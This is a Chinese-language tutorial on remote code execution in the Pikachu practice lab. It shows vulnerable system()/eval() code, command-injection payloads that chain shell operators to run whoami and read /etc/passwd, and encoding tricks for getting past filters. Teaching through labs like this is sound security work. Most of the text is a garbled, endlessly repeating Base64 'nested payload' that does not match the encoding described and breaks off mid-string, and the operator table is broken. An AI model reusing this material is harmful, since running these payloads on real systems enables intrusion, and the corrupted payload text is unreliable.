Pikachu靶场 RCE漏洞实战:3种命令注入绕过与PHP eval利用详解

Pikachu靶场RCE漏洞实战:从命令注入到PHP代码执行的深度攻防

在网络安全领域,远程代码执行(RCE)漏洞一直被视为最危险的漏洞类型之一。这类漏洞允许攻击者在目标系统上执行任意命令或代码,可能导致整个系统沦陷。Pikachu靶场作为经典的Web安全学习平台,其RCE漏洞模块涵盖了从基础到进阶的多种实战场景。本文将深入剖析命令注入与PHP代码执行两种核心漏洞类型,通过3种高级绕过技巧和eval函数利用链的完整构建,带您掌握RCE漏洞的攻防精髓。

1. RCE漏洞核心原理与靶场环境搭建

RCE漏洞主要分为远程命令执行(Command Injection)和远程代码执行(Code Execution)两种类型。前者允许直接执行操作系统命令,后者则能在应用上下文执行编程语言代码。在Pikachu靶场中,这两种漏洞类型通过精心设计的场景呈现:

# 使用Docker快速搭建Pikachu靶场环境 docker pull area39/pikachu docker run -d -p 8080:80 area39/pikachu

访问http://localhost:8080即可进入靶场。RCE模块位于"漏洞练习"→"RCE"菜单下,包含以下关键实验场景:

场景名称漏洞类型入口参数安全防护级别
exec "ping"命令注入IP地址输入框无过滤
exec "eval"PHP代码执行代码输入框无过滤
综合挑战混合型漏洞多参数接口基础过滤

关键区别:命令注入直接操作操作系统Shell,而代码执行则在应用运行时环境中进行。例如:

// 命令执行漏洞典型代码 system($_GET['cmd']); // 代码执行漏洞典型代码 eval($_GET['code']);

2. 命令注入漏洞的三种高级绕过技巧

2.1 管道符与逻辑运算符绕过

在exec "ping"场景中,看似简单的ping功能却隐藏着致命漏洞。当输入127.0.0.1时,系统执行ping 127.0.0.1。但通过Shell运算符,我们可以注入额外命令:

# 基础注入(原始示例) 127.0.0.1 & whoami # 进阶技巧:组合使用运算符 127.0.0.1 && cat /etc/passwd || ping 8.8.8.8

不同运算符的差异:

运算符作用示例执行特点
&后台执行cmd1 & cmd2并行执行
&&逻辑与cmd1 && cmd2前序成功才执行后续
``管道符`cmd1
``逻辑或
;命令分隔cmd1 ; cmd2顺序执行

注意:在Web环境中,&需要URL编码为%26,否则会被解析为参数分隔符

2.2 编码混淆绕过技术

当目标系统对特殊字符进行过滤时,编码技术成为突破关键。以下是实战中有效的编码方式:

# Python编码示例 import urllib.parse cmd = "cat /etc/passwd" encoded = urllib.parse.quote_plus(f"127.0.0.1; {cmd}") print(encoded) # 输出:127.0.0.1%3B+cat+%2Fetc%2Fpasswd

常用编码技术对比:

编码类型示例适用场景解码方式
URL编码%26代替&HTTP请求传输自动/urldecode
Base64Y2F0IC9ldGMvcGFzc3dk命令参数传递base64 -d
十六进制636174202f6574632f706173737764文件路径xxd -r -p
Unicode\u0063\u0061\u0074代码上下文绕过自动解码

实战案例:通过Base64嵌套绕过过滤

# 原始命令 cat /flag.txt # 转换过程 echo "cat /flag.txt" | base64 # 得到 Y2F0IC9mbGFnLnR4dAo= echo "Y2F0IC9mbGFnLnR4dAo=" | base64 # 嵌套编码 # 最终payload 127.0.0.1; echo "WVhOb2IzSjBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JHOTBYM0poYzJWMFgzSmhjMlYwWDNKdmRHRjBaV1JmY21Wd2JH